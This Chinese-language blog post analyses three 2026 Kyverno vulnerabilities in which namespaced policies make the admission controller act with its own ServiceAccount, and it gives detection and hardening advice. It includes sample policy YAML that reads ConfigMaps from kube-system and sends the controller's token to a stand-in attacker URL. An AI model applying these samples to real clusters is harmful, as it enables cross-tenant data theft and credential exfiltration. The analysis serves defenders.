Sooua
登录
返回文章列表
云原生安全··13 分钟阅读·1 次阅读

Kyverno 的 apiCall 不是只读查询:从 CVE-2026-22039 看 admission controller 的隐性授权边界

CVE-2026-22039 暴露了 Kyverno 策略引擎的一个根本性设计盲区:namespaced Policy 的 apiCall 使用 admission controller 自身的 ServiceAccount 执行 API 请求,且未限制命名空间范围。本文从根因分析、补丁盲区到 confused deputy,拆解 admission controller 的隐性授权边界问题。

2026 年 1 月 27 日,GitHub 安全公告发布了一个影响 Kyverno 的 Critical 级别漏洞:CVE-2026-22039。任何在 Kubernetes 集群中拥有「创建 namespaced Policy」权限的已认证用户,都可以通过 Kyverno 的 apiCall 功能,以 Kyverno admission controller 自身的 ServiceAccount 身份 向 API Server 发起请求——读取其他命名空间的 ConfigMap、创建 ClusterPolicy、甚至触碰 Secrets。CVSS 9.9。

这个漏洞的核心问题不是「代码写错了」,而是一个更深层的设计盲区:当 admission controller 为了执行策略而需要调用外部 API 时,它到底应该以谁的身份发起请求? 如果答案是「以自己的 ServiceAccount」,那么任何能控制策略内容的用户,就间接获得了这个 ServiceAccount 的全部权限。

这不是 Kyverno 独有的问题。它是所有「需要主动 outbound 调用的准入控制器」共同面对的身份边界难题。

背景:apiCall 为什么存在

Kyverno 作为 Kubernetes 原生策略引擎,其设计哲学是「用 YAML 写策略,不用学 Rego」。除了传统的 validate/mutate/generate 规则外,Kyverno 还提供了 apiCallcontext 机制,允许策略在判断时查询集群内已有资源作为决策上下文。

典型的使用场景包括:

  • 镜像签名验证:在验证 Pod 镜像前,先查询集群中预先配置的公钥 ConfigMap;
  • 跨资源关联校验:创建 Service 时,检查同命名空间下是否存在对应的 Deployment;
  • 外部数据注入:通过 apiCall 调用 Kubernetes API,将查询结果作为变量供策略模板使用。

从工程角度看,这是一个合理的设计。策略引擎不应该把所有上下文数据都硬编码在策略里,而是应该能动态查询集群状态。问题出在查询的执行身份和范围控制上。

Kubernetes 的 admission webhook 模型决定了:当 API Server 收到一个请求并将其转发给 Kyverno 的 webhook 时,Kyverno 是以自己的 ServiceAccount 运行的。这个 ServiceAccount 为了完成策略执行,通常需要相当广泛的 RBAC 权限——读取 ConfigMap、Secret、Pod、Deployment,甚至创建或修改某些资源。在大多数部署中,Kyverno 的 admission controller 被绑定到一个具有 cluster-wide 读权限乃至部分写权限的 ClusterRole 上。

这就埋下了一个隐性假设:策略内容是可信的。Kyverno 假设写入 Policy 的 apiCall.urlPath 是由平台管理员控制的、安全的。但在多租户环境中,namespaced Policy 的设计初衷恰恰是允许命名空间管理员自定义策略。当这个假设被打破时,漏洞就出现了。

CVE-2026-22039:当一个 "只读查询" 变成提权向量

漏洞根因

CVE-2026-22039 的本质是一个授权边界绕过。Kyverno 在 < 1.16.3< 1.15.3 版本中,namespaced Policy 的 apiCall 功能在执行 API 请求时,对以下两个关键边界均未做校验:

  1. 执行身份未隔离apiCall 的 HTTP 请求以 Kyverno admission controller 的 ServiceAccount 身份发起,而非创建 Policy 的用户身份;
  2. 作用范围未限制urlPath 经变量解析后的最终路径,未验证是否限定在 Policy 所在命名空间。用户可以通过在注解、标签或其他上下文变量中注入路径,让 apiCall 访问任意 API 端点。

根据 Minimus.io 的技术分析,漏洞位于 apiCall.goFetch 函数:该函数执行变量替换(包括用户可控的 annotations)到 urlPath 字段,然后将解析后的路径作为 API 请求发送。由于变量替换发生在权限检查之前,攻击者可以构造一个看似合法的 Policy,让 Kyverno 去读取 kube-system 的 Secret、创建跨命名空间的 ClusterPolicy,或执行任何 admission controller ServiceAccount 有权执行的操作。

攻击路径

攻击者需要的初始条件极低:

条件说明
已认证用户任何拥有 namespace 权限的开发者、CI/CD ServiceAccount 或 compromised workload
create Policy 权限在该 namespace 内创建 Kyverno Policy 的 RBAC 权限

攻击流程如下:

这不是理论上的攻击。BOMvault 在 LinkedIn 的分析中明确指出:任何能创建 namespaced Policy 的用户,都可以「read ConfigMaps from kube-system, create ClusterPolicies, or exfiltrate secrets across tenant boundaries by injecting paths through annotations」。

影响评估

维度评估
CVSS v3.19.9 (Critical)
攻击向量网络,低复杂度,低权限要求,无需用户交互
ScopeChanged — 攻击者可突破 namespace 边界,影响整个集群
实际风险多租户集群中 namespace 隔离完全失效;Kyverno 从安全工具变为提权通道

补丁的盲区:CVE-2026-41068 与 ConfigMap loader 的相同缺陷

CVE-2026-22039 的补丁在 1.16.3 和 1.15.3 中发布,修复方式是对 apiCall 上下文中的 URLPath 字段进行验证。从补丁逻辑来看,维护者意识到「用户可控的路径需要被限制」,这是一个正确的方向。

但问题在于:相同的漏洞模式在代码库的其他位置重复出现

2026 年 4 月 24 日,CVE-2026-41068 被披露。该 CVE 的官方描述非常直接:「The patch for CVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno's apiCall context by validating the URLPath field. However, the ConfigMap context loader has the identical vulnerability」。

具体而言,Kyverno 的 configMap 上下文加载器允许策略指定要从哪个 namespace 读取 ConfigMap:

context:
  - name: mycm
    configMap:
      name: trusted-keys
      namespace: kube-system  # 攻击者可以指定任意 namespace

configMap.namespace 字段接受任意 namespace 名称,零验证。这意味着:即使 apiCall 的 URLPath 已经被修复,攻击者仍然可以通过 configMap 上下文加载器,让 Kyverno 以自身特权 ServiceAccount 读取任意 namespace 的 ConfigMap。

这个漏洞的 CVSS 为 7.7 (High),修复版本是 1.17.2。

为什么补丁会漏掉这个

从工程角度看,这是一个典型的漏洞模式扩散问题:

  • apiCallconfigMap 是两个独立的数据加载通道,但共享同一个底层问题——「以 controller 身份执行用户可控的 namespace 查询」;
  • 修复团队聚焦在 apiCall 这个具体的攻击面上,但未在整个代码库中审计「所有接受用户输入 namespace 的路径」;
  • 缺乏系统性的安全边界抽象——如果有一个统一的「namespace 范围校验层」,这类漏洞本可以在架构层面被批量预防。

这给我们的启示是:针对 admission controller 的安全修复,不能只修报告的攻击点,必须做同模式代码审计

更深层的身份危机:GHSA-q93q-v844-jrqp 与 confused deputy

如果说 CVE-2026-22039 是「横向提权」(在同一集群内跨越 namespace),那么 2026 年 4 月 13 日披露的 GHSA-q93q-v844-jrqp 则是「外向泄露」——它让 Kyverno 的 ServiceAccount 令牌离开集群

漏洞机制

Kyverno 的 apiCall 支持一种 service 调用模式,用于向外部 HTTP 端点发送请求。根据阿里云漏洞库(AVD-2026-1868252)的记录,当策略使用 context.apiCall.service.url未显式设置 Authorization header 时,Kyverno 的 servicecall helper 会隐式注入 Authorization: Bearer <kyverno-controller-sa-token>

apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: external-check
spec:
  rules:
    - name: call-external
      context:
        - name: externalData
          apiCall:
            urlPath: /some/path
            service:
              url: https://attacker-controlled.example.com/webhook  # 攻击者控制

在这个场景下,攻击者不需要访问 API Server。他们只需要让 Kyverno 向一个自己控制的 URL 发送请求,Kyverno 就会自动附带其 ServiceAccount 的 JWT 令牌。攻击者收到请求后,即可提取这个具有集群权限的令牌,用于后续 API Server 认证。

这是一个经典的 CWE-441: Unintended Proxy or Intermediary (Confused Deputy) 问题。Kyverno 作为中间人(deputy),在未经充分授权校验的情况下,代表攻击者执行了敏感操作(泄露自己的身份凭证)。

三个 CVE 的层级关系

三个漏洞指向同一个根因:Kyverno 在执行用户策略的 outbound 调用时,没有建立清晰的身份代理边界和范围控制机制

这不是 Kyverno 独有的问题:admission controller 的系统性风险

Kyverno 在 2026 年连续暴露的三个漏洞,实际上揭示了一类更广泛的架构风险:任何需要主动 outbound 调用的 admission controller,都面临「执行身份」与「策略控制者」之间的代理问题

Kubernetes 官方早已警告

Kubernetes 官方文档《RBAC Good Practices》中明确写道:

"Users with control over validatingwebhookconfigurations or mutatingwebhookconfigurations can control webhooks that can read any object admitted to the cluster, and in the case of mutating webhooks, also mutate admitted objects."

这段话没有提到 Kyverno,也没有提到 apiCall,但它描述的是同一个结构性问题:admission webhook 的位置赋予了它读取(甚至修改)所有准入对象的权力。当这个 webhook 本身又能被用户通过策略配置控制其行为时,用户就间接获得了 webhook 的权力。

其他策略引擎是否存在类似风险

策略引擎外部查询机制潜在风险点
OPA Gatekeeperdata.inventory 缓存 + http.sendhttp.send 可配置外部 URL,若注入恶意 URL 可能泄露 controller 网络身份;但 Gatekeeper 通常不携带 K8s SA token 出站
KyvernoapiCall, configMap, service已证实:使用 controller SA 执行集群内 API 调用,且支持隐式 token 注入外部请求
Kubernetes ValidatingAdmissionPolicy无外部查询原生 CEL 表达式,不支持 outbound 调用,风险最低
自定义 Webhook取决于实现若 webhook 使用高权限 SA 且策略内容用户可控,则存在相同风险

从对比可以看出,风险的大小取决于三个因素:

  1. 是否支持用户可控的 outbound 调用
  2. 调用时是否携带高权限身份凭证
  3. 是否有严格的范围校验和 allowlist 机制

Kyverno 的问题在于三个因素全部命中。而 Kubernetes 原生的 ValidatingAdmissionPolicy(VAP)因为不支持外部查询,天然避免了这类问题——这也是社区推动 VAP 的一个重要安全动机。

多租户环境中的信任模型崩塌

在多租户 Kubernetes 集群中,namespace 是最常用的隔离边界。平台团队通常假设:「只要不给用户 ClusterRole,只给 namespace-scoped Role,用户就无法影响其他租户」。

CVE-2026-22039 彻底打破了这个假设。当集群中安装了 Kyverno 且允许 namespaced Policy 时,namespace 内的用户实际上继承了 Kyverno admission controller 的集群级权限——只要他们能写 Policy。这相当于在 namespace 隔离墙上开了一个由策略引擎守护的「后门」。

绿盟科技在《Kubernetes RBAC 安全风险研究》中指出的一个核心观点在此尤为贴切:"namespace 内的边界概念应视为比较弱"。当策略引擎的存在进一步模糊了 namespace 边界时,这种「弱隔离」就变成了「无隔离」。

检测与防御:如何审计和加固

立即修复

措施目标版本优先级
升级 Kyverno 到 >= 1.17.2修复 CVE-2026-22039 + CVE-2026-41068 + GHSA-q93q-v844-jrqp紧急
若无法立即升级,禁用 namespaced Policy 的 apiCall/configMap/service 上下文消除攻击面临时缓解
审查现有 namespaced Policy移除任何包含用户可控变量的 apiCall.urlPathconfigMap.namespace

RBAC 最小化:限制 Kyverno 的 ServiceAccount

即使升级到了修复版本,最小权限原则仍然是最重要的纵深防御措施。建议对 Kyverno admission controller 的 ServiceAccount 做以下限制:

  1. 避免 cluster-admin:Kyverno 的 ClusterRole 不应包含 * on * 的通配符权限。仅授予策略执行明确需要的资源范围;
  2. Secrets 访问最小化:如果策略不需要读取 Secret,从 ClusterRole 中移除 secretsget/list/watch 权限;
  3. 禁用不必要的 mutating 权限:如果 Kyverno 仅用于验证策略,不应授予 create/update/delete 权限;
  4. automountServiceAccountToken: false:对于不需要访问 API Server 的 Kyverno 组件(如 reports controller),显式禁用 SA token 自动挂载。

检测规则设计

基于三个 CVE 的攻击特征,可以在以下层面建立检测:

API Server 审计日志检测

关注审计日志中以下异常模式:

  • Kyverno ServiceAccount 发起的 API 请求,其 userAgentimpersonatedUser 异常;
  • 来自 Kyverno Pod IP 的 API 调用,目标 namespace 与 Policy 所在 namespace 不一致;
  • 高频的 GET /api/v1/namespaces/{ns}/secretsGET /api/v1/namespaces/{ns}/configmaps 请求,尤其是目标为 kube-system 等敏感 namespace。

策略内容审计

定期扫描集群中的 Kyverno Policy/ClusterPolicy,标记以下高风险配置:

# 高风险特征检查清单
- apiCall.urlPath 包含变量替换({{ }} 语法)
- configMap.namespace 不等于 policy.metadata.namespace
- apiCall.service.url 指向外部域名(非集群内部 Service)
- 策略中包含对 /api/v1/namespaces/*/secrets 的引用

网络层检测

针对 GHSA-q93q-v844-jrqp:

  • 监控 Kyverno Pod 的出站网络连接。Kyverno admission controller 通常不应向集群外部发起 HTTP 请求(除非明确配置了外部镜像签名验证服务);
  • 任何指向非白名单域名的出站连接,都应触发告警。

架构层面的长期改进

改进方向具体措施
身份隔离为不同 namespace 的 Policy 执行引入独立的 SA 或身份代理,避免所有策略共享同一个高权限 SA
范围校验抽象在策略引擎内部建立统一的「namespace 边界校验层」,所有涉及 namespace 的用户输入必须经过校验
外部调用白名单service.urlapiCall 的目标应支持 cluster-admin 配置的全局 allowlist,禁止访问未授权端点
向 VAP 迁移对于纯验证型策略,逐步迁移到 Kubernetes 原生 ValidatingAdmissionPolicy,减少对外部策略引擎的依赖

结论

CVE-2026-22039 不是一次孤立的代码缺陷,它暴露的是 Kubernetes 生态中一个长期被忽视的架构问题:当安全策略引擎为了「更智能」而引入主动查询能力时,它是否仍然能保持自身的安全边界?

Kyverno 的 apiCall 设计初衷是让策略更灵活、更贴近集群实际状态。但「灵活性」与「安全性」之间的张力在此被放大到了极致:如果策略内容可以被 namespace 内的用户控制,而策略的执行又依赖一个拥有集群级权限的 ServiceAccount,那么 namespace 隔离就不再成立。

三个连续的漏洞(CVE-2026-22039、CVE-2026-41068、GHSA-q93q-v844-jrqp)告诉我们,这个问题不是修一个函数就能解决的。它需要:

  1. 在代码层面,对所有「用户输入 → 特权执行」的代码路径做系统性审计,而不是打地鼠式修复;
  2. 在架构层面,为 admission controller 建立清晰的身份代理边界和范围校验抽象;
  3. 在运营层面,把 Kyverno(以及所有策略引擎)的 ServiceAccount 权限压到最小,并建立持续的策略内容审计和出站网络监控。

对于正在运行 Kyverno 的多租户集群,最务实的建议是:先升级到 1.17.2,然后立即审查所有 namespaced Policy 中的 apiCallconfigMapservice 配置。在安全策略引擎本身存在安全漏洞时,它不再是你的防线,而是攻击者的跳板。

分享

评论

登录 后参与讨论。

加载中…

相关文章